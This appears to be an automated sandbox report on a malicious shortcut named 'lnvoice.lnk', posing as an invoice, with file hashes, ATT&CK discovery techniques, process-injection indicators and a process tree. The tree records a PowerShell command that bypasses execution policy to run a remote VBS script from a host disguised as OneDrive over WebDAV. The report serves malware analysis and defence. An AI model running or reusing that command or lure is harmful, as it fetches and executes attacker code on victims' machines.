3a0720342249d8354e236292fc23be9d7d5a92bde5f23201283ef8f88671047f

Analysis

max time kernel
147s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
08/04/2024, 17:29

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General

Target

lnvoice.lnk
Size

1KB
MD5

f3ef596835aba4c8bab9c6edb8be5a00
SHA1

34d857c809cc61ced5697eafacaf5ad5ce722120
SHA256

3a0720342249d8354e236292fc23be9d7d5a92bde5f23201283ef8f88671047f
SHA512

7f3414303866c0e77ec04d9c3950acc7d7a708683324d5c09d69ff2beaf66428e30450457b3751ac9938a9d537708e70780b4bc9189aa56124eba1d08ec5d048

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2108	powershell.exe
2108	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2108	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2224 wrote to memory of 2108	2224	cmd.exe	86
PID 2224 wrote to memory of 2108	2224	cmd.exe	86

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\lnvoice.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass \\onedrive.bounceme.net\DavWWWRoot\test.vbs
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2108

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qj0oey1z.5r1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2108-7-0x0000019F9F5F0000-0x0000019F9F612000-memory.dmp

Filesize
136KB

Download
memory/2108-12-0x00007FFF3CC30000-0x00007FFF3D6F1000-memory.dmp

Filesize
10.8MB

Download
memory/2108-13-0x0000019F9F620000-0x0000019F9F630000-memory.dmp

Filesize
64KB

Download
memory/2108-14-0x0000019F9F620000-0x0000019F9F630000-memory.dmp

Filesize
64KB

Download
memory/2108-15-0x0000019F9F620000-0x0000019F9F630000-memory.dmp

Filesize
64KB

Download
memory/2108-18-0x00007FFF3CC30000-0x00007FFF3D6F1000-memory.dmp

Filesize
10.8MB

Download